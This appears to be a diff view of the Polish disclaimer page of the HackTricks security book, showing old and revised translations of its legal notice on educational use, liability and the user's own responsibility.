| > Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Zawartość tej książki jest udostępniona na zasadzie "as is", a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych ani dorozumianych, dotyczących kompletności, dokładności, wiarygodności, przydatności lub dostępności informacji, produktów, usług lub powiązanych grafik zawartych w tej książce. Każde poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko. | ||||
| > Ta książka, 'HackTricks', ma charakter wyłącznie edukacyjny i informacyjny. Zawartość tej książki jest udostępniana w stanie "tak jak jest", a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych ani dorozumianych, co do kompletności, dokładności, wiarygodności, przydatności lub dostępności informacji, produktów, usług lub powiązanych grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko. | ||||
| > | ||||
| > Autorzy i wydawcy w żadnym wypadku nie ponoszą odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń, straty pośrednie lub wynikowe, ani za jakiekolwiek straty lub szkody powstałe w związku z utratą danych lub zysków wynikających z korzystania z tej książki. | ||||
| > Autorzy i wydawcy nie ponoszą w żadnym wypadku odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń straty pośrednie lub wynikowe, ani za jakiekolwiek straty lub szkody wynikające z utraty danych lub zysków powstałych w związku z korzystaniem z tej książki. | ||||
| > | ||||
| > Ponadto techniki i wskazówki opisane w tej książce są podane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do działań nielegalnych lub złośliwych. Autorzy i wydawcy nie pochwalają ani nie wspierają żadnych działań niezgodnych z prawem lub nieetycznych, a wszelkie wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i odpowiedzialność użytkownika. | ||||
| > Ponadto techniki i wskazówki opisane w tej książce są dostarczane w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do nielegalnych ani złośliwych działań. Autorzy i wydawcy nie popierają ani nie akceptują nielegalnych lub nieetycznych działań, a wszelkie wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i odpowiedzialność użytkownika. | ||||
| > | ||||
| > Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze zasięgnąć profesjonalnej porady i pomocy przy próbach wdrażania jakichkolwiek opisanych technik lub wskazówek. | ||||
| > Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze zasięgnąć profesjonalnej porady i pomocy przed próbą wdrożenia jakichkolwiek opisanych technik lub wskazówek. | ||||
| > | ||||
| > Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności za wszelkie szkody, straty lub krzywdy, które mogą wyniknąć z korzystania z tej książki lub jakichkolwiek informacji w niej zawartych. | ||||
| > Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności i obowiązków za wszelkie szkody, straty lub krzywdy, które mogą wyniknąć z korzystania z tej książki lub jakichkolwiek informacji w niej zawartych. | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user